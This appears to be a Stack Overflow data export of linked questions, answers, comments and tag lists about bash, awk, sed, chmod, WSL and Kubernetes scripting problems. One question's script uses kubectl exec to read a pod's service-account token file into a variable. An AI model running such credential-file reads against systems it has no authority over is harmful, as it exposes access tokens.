type: QuestionComment
has text: That said, how are you starting VS Code? If you don't start it as a subprocess of a shell, it won't inherit variables the shell's startup creates.
type: Comment
comment on: http://stackoverflow.com/q/76622495
score: 1

http://stackoverflow.com/comment/134960976
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/76544889
type: Comment
has text: Something like `grep -E 'term1|term2' FILE | grep -v term3 | grep -E '(term4|term5)$'` but you should provide proper representative input, and corresponding output along with your best attempt - see [mcve].

http://stackoverflow.com/q/76705835
score: 0
tagged with: shell
has body: I want to set access permissions for a large number of files and directories. In How to improve performance of changing files and folders permissions? and https://superuser.com/a/91938/813482, several variants to set permissions are presented, among others: Variant 1: find /path/to/base/dir -type d -exec chmod 755 {} + find /path/to/base/dir -type f -exec chmod 644 {} + Variant 2: find /path/to/base/dir -type d -print0 | xargs -0 chmod 755 find /path/to/base/dir -type f -print0 | xargs -0 chmod 644 Variant 3: chmod 755 $(find /path/to/base/dir -type d) chmod 644 $(find /path/to/base/dir -type f) Which of these should be the most efficient? In a quick test for the directory I'm using, compared to variant 1, variant 2 reduced the time from more than 30 to more than 3 sec (one order of magnitude), since it does not need to call chmod for every file separately. Variant 3 gave warnings, since some directory names/filenames contain spaces and it cannot access those directories. Variant 3 may even be slightly faster than variant 2, but I'm not sure since this may be related to not being able to enter the directories(?).
tagged with: file-permissions
answer count: 1
type: AnsweredQuestion
tagged with: chmod
accepted answer: http://stackoverflow.com/a/76705965
linked to: http://stackoverflow.com/q/30592771
tagged with: performance
has title: Fastest way to set access permissions for a large number of files / directories?
type: Question
has answer: http://stackoverflow.com/a/76705965

http://stackoverflow.com/comment/135058137
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76588449
score: 0
has text: This isn't what I expected but really does solve my issue :D. Thank you.

http://stackoverflow.com/comment/135234147
has text: The directory has about 10400 files and 2800 directories. You are correct in that I ran variant 2 after variant 1. In any case, your solution (0.83s) is indeed faster than variant 2 (0.70 + 2.77 = 3.47s).
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76705965

bash
tags question: http://stackoverflow.com/q/76615358
tags question: http://stackoverflow.com/q/76620625
tags question: http://stackoverflow.com/q/76585150
tags question: http://stackoverflow.com/q/76679026
tag name: bash
tags question: http://stackoverflow.com/q/76558797
tags question: http://stackoverflow.com/q/76657138
tags question: http://stackoverflow.com/q/76643341
tags question: http://stackoverflow.com/q/76656022
tags question: http://stackoverflow.com/q/76655946
tags question: http://stackoverflow.com/q/76645511
tags question: http://stackoverflow.com/q/76697805
tags question: http://stackoverflow.com/q/76656090
tags question: http://stackoverflow.com/q/76663609
tags question: http://stackoverflow.com/q/76683161
tags question: http://stackoverflow.com/q/76597912
tags question: http://stackoverflow.com/q/76551148
tags question: http://stackoverflow.com/q/76692290
tags question: http://stackoverflow.com/q/76687885
tags question: http://stackoverflow.com/q/76678432
tags question: http://stackoverflow.com/q/76602700
tags question: http://stackoverflow.com/q/76661943
tags question: http://stackoverflow.com/q/76702391
tags question: http://stackoverflow.com/q/76560632
tags question: http://stackoverflow.com/q/76686394
tags question: http://stackoverflow.com/q/76683610
tags question: http://stackoverflow.com/q/76678549
tags question: http://stackoverflow.com/q/76669307
tags question: http://stackoverflow.com/q/76576781
tags question: http://stackoverflow.com/q/76546217
tags question: http://stackoverflow.com/q/76692218
tags question: http://stackoverflow.com/q/76555096
tags question: http://stackoverflow.com/q/76690391
tags question: http://stackoverflow.com/q/76689787
tags question: http://stackoverflow.com/q/76546737
tags question: http://stackoverflow.com/q/76669088
tags question: http://stackoverflow.com/q/76621621
tags question: http://stackoverflow.com/q/76648067
tags question: http://stackoverflow.com/q/76663322
tags question: http://stackoverflow.com/q/76594215
tags question: http://stackoverflow.com/q/76574631
tags question: http://stackoverflow.com/q/76553763
tags question: http://stackoverflow.com/q/76631087
type: Tag
tags question: http://stackoverflow.com/q/76703900
tags question: http://stackoverflow.com/q/76602223
tags question: http://stackoverflow.com/q/76599721
tags question: http://stackoverflow.com/q/76552603
tags question: http://stackoverflow.com/q/76616176
tags question: http://stackoverflow.com/q/76668316
tags question: http://stackoverflow.com/q/76624545
tags question: http://stackoverflow.com/q/76622698
tags question: http://stackoverflow.com/q/76620855
tags question: http://stackoverflow.com/q/76601045
tags question: http://stackoverflow.com/q/76548820
tags question: http://stackoverflow.com/q/76591635
tags question: http://stackoverflow.com/q/76666744
tags question: http://stackoverflow.com/q/76633771
tags question: http://stackoverflow.com/q/76581584
tags question: http://stackoverflow.com/q/76674976
tags question: http://stackoverflow.com/q/76631657
tags question: http://stackoverflow.com/q/76575510
tags question: http://stackoverflow.com/q/76688062
tags question: http://stackoverflow.com/q/76549287
tags question: http://stackoverflow.com/q/76574168
tags question: http://stackoverflow.com/q/76817193
tags question: http://stackoverflow.com/q/76835075
tags question: http://stackoverflow.com/q/76725490
tags question: http://stackoverflow.com/q/76747690
tags question: http://stackoverflow.com/q/76751024
tags question: http://stackoverflow.com/q/76825948
tags question: http://stackoverflow.com/q/76835022
tags question: http://stackoverflow.com/q/76752760
tags question: http://stackoverflow.com/q/76841295
tags question: http://stackoverflow.com/q/76810947
tags question: http://stackoverflow.com/q/76872375
tags question: http://stackoverflow.com/q/76850146
tags question: http://stackoverflow.com/q/76772469
tags question: http://stackoverflow.com/q/76843593
tags question: http://stackoverflow.com/q/76761336

http://stackoverflow.com/comment/134978114
comment on: http://stackoverflow.com/q/76555096
score: 0
has text: Thank You @KamilCuk I have to fix the issue by replacing the password by another value.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134971736
type: QuestionComment
comment on: http://stackoverflow.com/q/76551148
type: Comment
score: 0
has text: `$dbpasswd` will contain a *list* of UID numbers, not just a single number, so trying to print it with `%d` format will fail (and is also unnecessary, since it's already in one-entry-per-line format). Similarly, `-eq` is to test for equality between two individual numbers, not for membership in a list of numbers.

http://stackoverflow.com/q/76591531
answer count: 1
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76602944
score: 2
has comment: http://stackoverflow.com/comment/135040433
has comment: http://stackoverflow.com/comment/135040419
has comment: http://stackoverflow.com/comment/135050858
type: Question
tagged with: shell
tagged with: linux
has body: Running the following C program with valgrind --leak-check=yes results in valgrind giving an output indicating that "Syscall param execve(argv) points to uninitialised byte(s)" The following code is: execv(commandCopy, cmd->argv); fprintf(stderr, "%s: Command not found.\n", commandCopy); free(cmd->argv); free_cmd(cmd); _exit(0); According to valgrind, the problem occurs on the line: ==582489== Syscall param execve(argv) points to uninitialised byte(s) ==582489== at 0x49630FB: execve (syscall-template.S:120) ==582489== by 0x109FE5: parse_cmd (mysh.c:318) ==582489== by 0x109C53: parse_cmd (mysh.c:228) ==582489== by 0x10A25E: main (mysh.c:388) What mistake have I made that causes valgrind to give this output?
has title: Getting "Syscall param execve(argv) points to uninitialised byte(s)" in memory leak?
tagged with: valgrind
upvote count: 2
accepted answer: http://stackoverflow.com/a/76602944
tagged with: http://stackoverflow.com/tag/c
downvote count: 0

http://stackoverflow.com/comment/135112230
score: 1
comment on: http://stackoverflow.com/q/76633771
has text: According to the [POSIX standard for `sed`](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sed.html#tag_20_116_13_03), the `a` command will "Write text to standard output as described previously." So it's not considered "automatic printing", it's printing explicitly directed by a command (which `-n` does not suppress).
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135039916
comment on: http://stackoverflow.com/q/76560288
score: 0
type: QuestionComment
type: Comment
has text: for example `p=subprocess.run(['/bin/bash', '-i'], input=b'exit\n', stdout=subprocess.PIPE, stderr=subprocess.PIPE)` then `p.stderr.decode()` will display stderr including caught escape sequences

http://stackoverflow.com/a/76705965
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135234040
has comment: http://stackoverflow.com/comment/135234021
type: Answer
has body: Which of these should be the most efficient? Variant 1. I you really want speed, traverse once, not twice. find /path/to/base/dir '(' -type d -exec chmod 755 {} + ')' -o '(' -type f -exec chmod 644 {} + ')' Variant 2 is great if the number of files or directories is greater than the maximum number of arguments on a platform. Variant 3 is very bad, where the result of find is not quoted, and the shell will do word splitting and filename expansion. It will fail badly if any path has, for example, a space or a star.
accepted answer of: http://stackoverflow.com/q/76705835
downvote count: 0
has comment: http://stackoverflow.com/comment/135234147
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76705835

http://stackoverflow.com/q/76686394
has comment: http://stackoverflow.com/comment/135202895
has title: route.exe: command not found in bashrc - Ubuntu 20.04
has comment: http://stackoverflow.com/comment/135203444
type: UnansweredQuestion
score: 1
tagged with: windows-subsystem-for-linux
has comment: http://stackoverflow.com/comment/135231854
has answer: http://stackoverflow.com/a/76687621
has comment: http://stackoverflow.com/comment/135232867
tagged with: linux
downvote count: 0
has comment: http://stackoverflow.com/comment/135229002
tagged with: bash
upvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135229154
has body: I have an issue with route.exe in the bashrc of ubuntu. Basically I am using ubuntu 20.04 in wsl in windows. I am trying to get the ip using the route.exe. It was working fine earlier but now it is not working. The bashrc is as follows: export PATH="/home/srkpmlz/.local/bin:/home/srkpmlz/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local" export TURTLEBOT3_MODEL=burger export SVGA_VGPU10=0 export LIBGL_ALWAYS_INDIRECT=0 export DOCKER_HOST_IP=$(route.exe print | grep 0.0.0.0 | head -1 | awk '{print $4}') export DISPLAY=$(route.exe print | grep 0.0.0.0 | head -1 | awk '{print $4}'):0.0 export DOCKER_GATEWAY_HOST="`/sbin/ip route|awk '/dev eth0 proto kernel/ { print $9}'`" and after editing, when i try to source the bashrc i am getting the error: route.exe: command not found route.exe: command not found what may be the reason ? The bashrc is sourced and working
type: Question
tagged with: shell

maui
type: Tag
tags question: http://stackoverflow.com/q/76579691
tag name: maui
tags question: http://stackoverflow.com/q/76917412
tags question: http://stackoverflow.com/q/77350749
tags question: http://stackoverflow.com/q/77306486
tags question: http://stackoverflow.com/q/77529305
tags question: http://stackoverflow.com/q/77548876
tags question: http://stackoverflow.com/q/77888188
tags question: http://stackoverflow.com/q/77971907
tags question: http://stackoverflow.com/q/78275790
tags question: http://stackoverflow.com/q/78385271
tags question: http://stackoverflow.com/q/78638859
tags question: http://stackoverflow.com/q/78682528
tags question: http://stackoverflow.com/q/78747699
tags question: http://stackoverflow.com/q/78792483
tags question: http://stackoverflow.com/q/78764821
tags question: http://stackoverflow.com/q/78963991
tags question: http://stackoverflow.com/q/79010210
tags question: http://stackoverflow.com/q/79088476
tags question: http://stackoverflow.com/q/79215422
tags question: http://stackoverflow.com/q/79225351

http://stackoverflow.com/comment/134984331
type: AnswerComment
score: 0
has text: (see [BashFAQ #32](https://mywiki.wooledge.org/BashFAQ/032) for some places to start on that).
comment on: http://stackoverflow.com/a/76558876
type: Comment

http://stackoverflow.com/q/76645134
favorite count: 0
tagged with: rust
tagged with: autocomplete
has title: Better performance with clap in package autocompletion
tagged with: performance
score: 1
type: Question
answer count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: clap
has body: I make an CLI that gets the packages from yay (AUR package manager) and suggest, but I have a big problem with the clap lib: fn package_completion() -> Result<Vec<String>, String> { let command = process::Command::new("yay") .arg("-Slq") .output() .expect("failed to execute process"); let mut stdout = String::with_capacity(command.stdout.len()); let mut stderr = String::with_capacity(command.stderr.len()); stdout.push_str(&String::from_utf8_lossy(&command.stdout)); stderr.push_str(&String::from_utf8_lossy(&command.stderr)); if !stderr.is_empty() { return Err(stderr); } let mut output: Vec<String> = stdout.lines().map(|s| s.to_string()).collect(); if output.len() > 0 { output.remove(0); } Ok(output) } pub fn build_cli() -> Command { Command::new("yay-helper") .version("0.0.0") .subcommand_required(true) .arg_required_else_help(true) .subcommand( Command::new("query").about("Query a package").arg( Arg::new("package") .help("Package to query") .required(true) .action(ArgAction::Set) .num_args(1..), ), ) .subcommand( Command::new("install").about("Install a package").arg( Arg::new("package") .help("Package to install") .value_parser(package_completion().unwrap()) # This causes the issue .required(true) .action(ArgAction::Set) .num_args(1..), ), ) The program runs correctly, but the autocompletion is lazy, I need await more then 30 seconds to get the autocompletion. I tried work with other lib (shell_completion) to make the completion and works well for Bash (the completion just generates a Bash version, I want a multi-shell version), the problem isn't the size of package list. I need a more fastest approach to generate the autocompletion, if someone helps me, i'll be thankful.
tagged with: shell
downvote count: 0

http://stackoverflow.com/q/76600353
answer count: 1
has title: Changing the environment in VS code so I can use it as a normal terminal
score: -2
favorite count: 0
downvote count: 2
has body: I am practicing on a dictionary example from "The Python Crash Course" in VS code Linux and get the following message when I try to input anything in the terminal like a dictionary information: myname@penguin:~/VS Python /ExamplesPCC$ favorite_language['sarah'] bash: favorite_language[sarah]: command not found The input was favorite_language['sarah'] I ran into this problem before with the len command but could work around it by printing it. Is there a way too change the environment so I can use normal commands like len and dictionary requests?
tagged with: terminal
has comment: http://stackoverflow.com/comment/135055729
type: Question
has answer: http://stackoverflow.com/a/76610466
upvote count: 0
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/comment/135011142
has text: guess: try to put that payload out of single quotes `'... "${payload}" ...'` -> `'... '"${payload}"' ...'`
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76574168
type: Comment

http://stackoverflow.com/comment/135209826
has text: You didn't give it any data. Try copy/pasting the three lines at the top of my answer into a file named `data` then run `awk -f prog.awk data`.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76683785

http://stackoverflow.com/a/76683785
has comment: http://stackoverflow.com/comment/135207132
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135211422
has comment: http://stackoverflow.com/comment/135209844
has comment: http://stackoverflow.com/comment/135209755
has body: I've never used Kubernetes but some Googling shows that the output really looks like this (which is not what your screen grab showed): NAMESPACE NAME CPU(cores) MEMORY(bytes) kube-system coredns-558bd4d5db-k7mfl 8m 11Mi kube-system coredns-558bd4d5db-qwrrk 8m 12Mi From the limited research I did it is not clear if the units are always m (milliunits) and Mi (megabyte?). If those are the only unit suffixes then simply ignore them. Since converting a string to a number in Awk ignores any characters after the last digit you don't have to do anything. BEGIN { cpu = 0 mem = 0 } NR == 1 { next } { cpu += $3 mem += $4 } END { print cpu, mem } For the example data above this will print 16 23. If the unit suffix can be other strings you will need to test which suffix is present and apply an appropriate scaling factor to the number.
has comment: http://stackoverflow.com/comment/135209814
answers question: http://stackoverflow.com/q/76683610
has comment: http://stackoverflow.com/comment/135198308
has comment: http://stackoverflow.com/comment/135209834
has comment: http://stackoverflow.com/comment/135197688
type: Answer
has comment: http://stackoverflow.com/comment/135265299
accepted answer of: http://stackoverflow.com/q/76683610
has comment: http://stackoverflow.com/comment/135209826
has comment: http://stackoverflow.com/comment/135265233
score: 0
has comment: http://stackoverflow.com/comment/135197714
has comment: http://stackoverflow.com/comment/135209735

http://stackoverflow.com/q/76643341
has comment: http://stackoverflow.com/comment/135127697
has body: I got a problem with my computer shells . I was using zsh shell . then after installing flutter , i can run basic command like cd,cat,nano .. in my terminal and i got errors like : nano ~/.bash_profile zsh: command not found: nano Note that nano command was working very well, how could i solve it ? so here is my .bash_profile content: PATH="/Library/Frameworks/Python.framework/Versions/3.11/bin:${PATH}" export PATH export PATH="/Users/users/Downloads/flutter/bin:$PATH" export JAVA_HOME="/Library/Java/JavaVirtualMachines/jdk-11.0.12.jdk/Contents/Home" And here is my .zshrc content : export PATH="$PATH:$HOME/.rvm/bin"
tagged with: bash
has comment: http://stackoverflow.com/comment/135128575
upvote count: 1
answer count: 1
has title: Problem with Z shell and Bash shell on my mac os terminal
has comment: http://stackoverflow.com/comment/135127824
favorite count: 0
has answer: http://stackoverflow.com/a/76643867
has comment: http://stackoverflow.com/comment/135127989
has comment: http://stackoverflow.com/comment/135127712
has comment: http://stackoverflow.com/comment/135127585
has comment: http://stackoverflow.com/comment/135127837
tagged with: zsh
has comment: http://stackoverflow.com/comment/135140779
score: -4
has comment: http://stackoverflow.com/comment/135127717
has comment: http://stackoverflow.com/comment/135128369
type: Question
has comment: http://stackoverflow.com/comment/135128068
downvote count: 5
tagged with: shell
has comment: http://stackoverflow.com/comment/135128599
has comment: http://stackoverflow.com/comment/135127568
has comment: http://stackoverflow.com/comment/135127943
has comment: http://stackoverflow.com/comment/135127676
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135128562
has comment: http://stackoverflow.com/comment/135127879
has comment: http://stackoverflow.com/comment/135127776
has comment: http://stackoverflow.com/comment/135127965
has comment: http://stackoverflow.com/comment/135127947
has comment: http://stackoverflow.com/comment/135140759

http://stackoverflow.com/q/76669307
answer count: 1
has body: I have a part of script that doesn't return anything in the 'token' variable and not sure what is wrong here. kubectl exec -it $pod_name -n <namespace> /bin/bash <<EOF # Step 3: Get the token and exit the bash shell echo "Step 3: Retrieving token from pod: $pod_name" token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo echo "retrieved token: $token" exit EOF echo "retrieved token: $token" I checked other answers that suggest removing spaces and such but it didn't help
has title: Assigning variable in bash shell
tagged with: bash
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135172837
tagged with: kubectl
has answer: http://stackoverflow.com/a/76669619
accepted answer: http://stackoverflow.com/a/76669619
score: 0
tagged with: shell

http://stackoverflow.com/comment/134966411
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76545097
has text: @MarkSetchell What's your `grep` version, mine is `grep (GNU grep) 3.7`, on Ubuntu ?

http://stackoverflow.com/comment/135149416
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76633273
type: Comment
has text: @apokryfos - I managed to get it working by exporting an environment variable with the numeric value as received from the bash script in $2 and then had my php script do a getenv() to pick it up. Worked like a charm.

http://stackoverflow.com/comment/135109896
comment on: http://stackoverflow.com/q/76631657
type: QuestionComment
type: Comment
score: 0
has text: Also, encoding "hello world" and "hello world\n" give different results: `printf '%s' "$msg_enc" | base64 -w0`

http://stackoverflow.com/comment/135052333
score: 0
comment on: http://stackoverflow.com/a/76598474
type: Comment
type: AnswerComment
has text: @Saeed an alternative approach involves capturing the output of the `sha256sum` command into the `remote_hash` and `local_hash` variables. this is achieved by utilizing the `read` command within the `ssh` command and the local shell, respectively. by comparing these variables, we can determine whether the files are identical or if any changes have occurred!

http://stackoverflow.com/comment/135027263
has text: `FPAT` is a [GNU extension](https://www.gnu.org/software/gawk/manual/html_node/POSIX_002fGNU.html#index-POSIX-2) that does not exist in [POSIX](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/awk.html) so it would be quite surrprising if a non-GNU awk executed the script correctly :-)
type: Comment
comment on: http://stackoverflow.com/a/76582274
type: AnswerComment
score: 1

http://stackoverflow.com/q/76681101
has answer: http://stackoverflow.com/a/76699525
tagged with: amazon-elasticache
score: 0
has comment: http://stackoverflow.com/comment/135191824
type: Question
tagged with: amazon-web-services
type: UnansweredQuestion
has body: I am trying to write a bash script to automatically store elasticache snapshots to s3 via cron job running inside Amazon Linux 2 on an AWS EC2 instance When I ran the code below, it gives me an error saying the snapshot is not ready #!/bin/sh cache_cluster_id="test-elasticache-001" current_time="$(date +"%Y-%m-%d-%H-%M-%S")"; file_name="test-elasticache-${current_time}"; max_number_of_backups_to_keep=8; snapshot_status=$(aws elasticache create-snapshot --cache-cluster-id $cache_cluster_id --snapshot-name $file_name); echo $snapshot_status; export_status=$(aws elasticache copy-snapshot --source-snapshot-name $file_name --target-snapshot-name $file_name --target-bucket test-elasticache-manual-backups); echo $export_status; # https://gist.github.com/luckyjajj/463b98e5ec8127b21c6b # Check if number of stored backups is 8 if [ $(aws elasticache describe-snapshots --cache-cluster-id $cache_cluster_id |grep SnapshotName | wc -l) = "$max_number_of_backups_to_keep" ]; then # Get the name of the oldest snapshot old_snapshot="$(aws elasticache describe-snapshots --cache-cluster-id $cache_cluster_id |grep SnapshotName | head -1 | cut -d \" -f 4)" aws elasticache delete-snapshot --snapshot-name $old_snapshot fi How do I wait for the snapshot to be ready and then export it to S3?
tagged with: amazon-s3
has title: Getting an error Elasticache snapshot not ready when exporting to S3
answer count: 1
tagged with: shell
tagged with: aws-cli

http://stackoverflow.com/comment/135047069
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76593228
type: Comment
has text: does your grep understand `-P` and `-o`? If so and assuming the value is base64-encoded, `grep -Po '"theSecret":"\K[^"]*' <json`

http://stackoverflow.com/comment/134969669
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76549806
has text: Also, can you please edit the script such that it prints the output to three files (as per the 1st columns of the ```ref``` Out1, Out2 and Out3) instead of echoing them?
type: Comment

http://stackoverflow.com/comment/135238655
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76703900
has text: `source` is inherently useless from Python, since the entire point of `source` is to run a script in the current process rather than a subprocess, but when the current process is Python rather than a shell, that's not possible. To put it another way, `subprocess.Popen()` has already created a subprocess to run the script, so trying to avoid running the script in a subprocess is just not going to happen. On the other hand, if the data flow is entirely Python -> shell scripts, why not create environment variables, since subprocesses inherit copies of them?

http://stackoverflow.com/q/76607874
downvote count: 2
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135069819
has comment: http://stackoverflow.com/comment/135070331
has title: awk: illegal statement at source line 1
upvote count: 1
favorite count: 0
tagged with: awk
answer count: 2
has comment: http://stackoverflow.com/comment/135068797
has comment: http://stackoverflow.com/comment/135068808
has comment: http://stackoverflow.com/comment/135070232
has body: I have huge xml file that I want to split based on the element with minimum records i.e. 100 per split file. In this example xml there are only two records so awk should create 1 xml file for each stuRec because I hard coded minimum number of files to 1. But I am getting error: "awk: illegal statement at source line 1" And I don't know how to fix this error. <?xml version="1.0"?> BBC 2023-04-04 AB 1 RCD 2023-05-14 ON 2 awk -v element="stuRec" ' BEGIN { n =1; i = 1} /<\// && $0 ~ "</" element ">" { n++; } {print $0 > "output/part_" i ".xml"; if (n % 1 = 0) { i++; } }' "student_records.xml"
tagged with: shell
has answer: http://stackoverflow.com/a/76608578
has comment: http://stackoverflow.com/comment/135068789
score: -1
has answer: http://stackoverflow.com/a/76608120
has comment: http://stackoverflow.com/comment/135069661

http://stackoverflow.com/comment/134980049
comment on: http://stackoverflow.com/a/76550686
score: 0
has text: assuming you made *no* modifications to the code ... not sure what your `awk` is complaining about; I'm not using MKS so I can't offer much re: troublehooting tips ...
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76597912
tagged with: bash
has comment: http://stackoverflow.com/comment/135052447
has comment: http://stackoverflow.com/comment/135051430
has comment: http://stackoverflow.com/comment/135051454
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135051741
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/135051686
has body: This is my run.bash file (in which I have problem that I can't iterate over the file completely if I remove $line = ... ): #!/usr/bin/bash while IFS= read -r line do if [ "$(ssh -p2200 "$line" "sha256sum /home/config.conf | awk '{print $1}'")" == "$(ssh -p2200 "$line" "sha256sum /home/config.conf-bk | awk '{print $1}'")" ] then echo "File is the same in \"$line\"." > /dev/null 2>&1 # this output is not important else echo "The config.conf file in $line has changed, so we reverted the file." | mail -s "The config.conf file in $line has changed" myemail@gmail.com ssh -np2200 "$line" cp -a /home/config.conf-bk /home/config.conf fi done < file.txt This is file.txt: G9DG1.fqdn.com G9DG2.fqdn.com G9DG3.fqdn.com G9DG4.fqdn.com G9DC3.fqdn.com G9DG5.fqdn.com G9DC4.fqdn.com This is the /home/config.conf and /home/config.conf-bk which should be the same on each server: # this is a test config file This is sha256sum config.conf: 91c17dcc7bc4c48594c0d8eb9726b97e5e2c6aaf728779c9e39a69fe76229c9e config.conf At the moment, the value of sha256sum this file is the same as config.conf-bk file. Now if I run my scripts, it prints: The config.conf file in G9DG1.fqdn.com has changed, so we reverted the file I also changed my script to: #!/usr/bin/bash while IFS= read -r line do if [[ "$line" =~ ^([Gg][0-9]{1,2}[DS][C][0-9]{1,3}.fqdn.com)$ ]] # C-Plans then if [ "$(ssh -p2200 "$line" "sha256sum /home/config.conf | awk '{print $1}'")" == "$(ssh -p2200 "$line" "sha256sum /home/config.conf-bk | awk '{print $1}'")" ] then echo "File is the same in \"$line\"." > /dev/null 2>&1 # this output is not important else echo "The config.conf file in \"$line\" has changed, so we reverted the file." | mail -s "The config.conf file in \"$line\" has changed" myemail@gmail.com ssh -np2200 "$line" cp -a /home/config.conf-bk /home/config.conf fi elif [[ "$line" =~ ^([Gg][0-9]{1,2}[DS][G][0-9]{1,3}.fqdn.com)$ ]] # G-Plans then if [ "$(ssh -p2200 \"$line\" "sha256sum /home/config.conf | awk '{print $1}'")" == "…
tagged with: shell
has comment: http://stackoverflow.com/comment/135051583
has title: How to loop over a file and compare one file in them with a backup file and check if changed
has comment: http://stackoverflow.com/comment/135051821
has answer: http://stackoverflow.com/a/76598474
has answer: http://stackoverflow.com/a/76598099
has comment: http://stackoverflow.com/comment/135051702
has comment: http://stackoverflow.com/comment/135051867
possible better answer: http://stackoverflow.com/a/76598474
linked to: http://stackoverflow.com/q/13800225
accepted answer: http://stackoverflow.com/a/76598099
score: 0

http://stackoverflow.com/comment/135015651
type: QuestionComment
type: Comment
has text: when i tried to run this command it directs me to the > in command line
comment on: http://stackoverflow.com/q/76576781
score: 0

sed
tags question: http://stackoverflow.com/q/76669265
tags question: http://stackoverflow.com/q/76650830
tag name: sed
tags question: http://stackoverflow.com/q/76633771
tags question: http://stackoverflow.com/q/76623990
tags question: http://stackoverflow.com/q/76679026
type: Tag
tags question: http://stackoverflow.com/q/76593228
tags question: http://stackoverflow.com/q/76817121
tags question: http://stackoverflow.com/q/76775292
tags question: http://stackoverflow.com/q/76851438
tags question: http://stackoverflow.com/q/76855842
tags question: http://stackoverflow.com/q/76809509
tags question: http://stackoverflow.com/q/76718065
tags question: http://stackoverflow.com/q/76810947
tags question: http://stackoverflow.com/q/76774173
tags question: http://stackoverflow.com/q/76978039
tags question: http://stackoverflow.com/q/76968047
tags question: http://stackoverflow.com/q/77038582
tags question: http://stackoverflow.com/q/76987590
tags question: http://stackoverflow.com/q/77039334
tags question: http://stackoverflow.com/q/76952315
tags question: http://stackoverflow.com/q/76958436
tags question: http://stackoverflow.com/q/76944879
tags question: http://stackoverflow.com/q/76927538
tags question: http://stackoverflow.com/q/76960050
tags question: http://stackoverflow.com/q/77122868
tags question: http://stackoverflow.com/q/77100054
tags question: http://stackoverflow.com/q/77149495
tags question: http://stackoverflow.com/q/77124850
tags question: http://stackoverflow.com/q/77169893
tags question: http://stackoverflow.com/q/77290226
tags question: http://stackoverflow.com/q/77306746
tags question: http://stackoverflow.com/q/77371096
tags question: http://stackoverflow.com/q/77248479
tags question: http://stackoverflow.com/q/77358472
tags question: http://stackoverflow.com/q/77290645
tags question: http://stackoverflow.com/q/77284898
tags question: http://stackoverflow.com/q/77478623
tags question: http://stackoverflow.com/q/77564647
tags question: http://stackoverflow.com/q/77417731
tags question: http://stackoverflow.com/q/77473612
tags question: http://stackoverflow.com/q/77530990
tags question: http://stackoverflow.com/q/77511100
tags question: http://stackoverflow.com/q/77477286
tags question: http://stackoverflow.com/q/77615960
tags question: http://stackoverflow.com/q/77610839
tags question: http://stackoverflow.com/q/77763360
tags question: http://stackoverflow.com/q/77670223
tags question: http://stackoverflow.com/q/77628265
tags question: http://stackoverflow.com/q/77738441
tags question: http://stackoverflow.com/q/77912375
tags question: http://stackoverflow.com/q/77921207
tags question: http://stackoverflow.com/q/77911665
tags question: http://stackoverflow.com/q/77967974
tags question: http://stackoverflow.com/q/78049915
tags question: http://stackoverflow.com/q/78036793
tags question: http://stackoverflow.com/q/78245564
tags question: http://stackoverflow.com/q/78302718
tags question: http://stackoverflow.com/q/78185284
tags question: http://stackoverflow.com/q/78331935
tags question: http://stackoverflow.com/q/78442424
tags question: http://stackoverflow.com/q/78401883
tags question: http://stackoverflow.com/q/78423090
tags question: http://stackoverflow.com/q/78424567
tags question: http://stackoverflow.com/q/78461246
tags question: http://stackoverflow.com/q/78660797
tags question: http://stackoverflow.com/q/78605189
tags question: http://stackoverflow.com/q/78839799
tags question: http://stackoverflow.com/q/78789822
tags question: http://stackoverflow.com/q/78806707
tags question: http://stackoverflow.com/q/78848675
tags question: http://stackoverflow.com/q/78745086
tags question: http://stackoverflow.com/q/78788854
tags question: http://stackoverflow.com/q/78791284
tags question: http://stackoverflow.com/q/78878978
tags question: http://stackoverflow.com/q/78779550
tags question: http://stackoverflow.com/q/79053114
tags question: http://stackoverflow.com/q/78936884
tags question: http://stackoverflow.com/q/78921080

http://stackoverflow.com/comment/135059505
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76602471
type: QuestionComment
has text: `export WHO=world; envsubst < a.json > b.json`

http://stackoverflow.com/comment/135149767
score: 0
has text: #string# is a datastage parameter that is being set by other party, so you can think of it as a variable that is being replace with `test@$134!'`
comment on: http://stackoverflow.com/q/76656022
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76699173
upvote count: 1
favorite count: 0
has title: watch and multiple commands / piping
has comment: http://stackoverflow.com/comment/135222405
answer count: 0
tagged with: linux
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135233794
linked to: http://stackoverflow.com/q/8254120
tagged with: awk
duplicate of: http://stackoverflow.com/q/8254120
has comment: http://stackoverflow.com/comment/135222402
type: Question
tagged with: watch
has comment: http://stackoverflow.com/comment/135222377
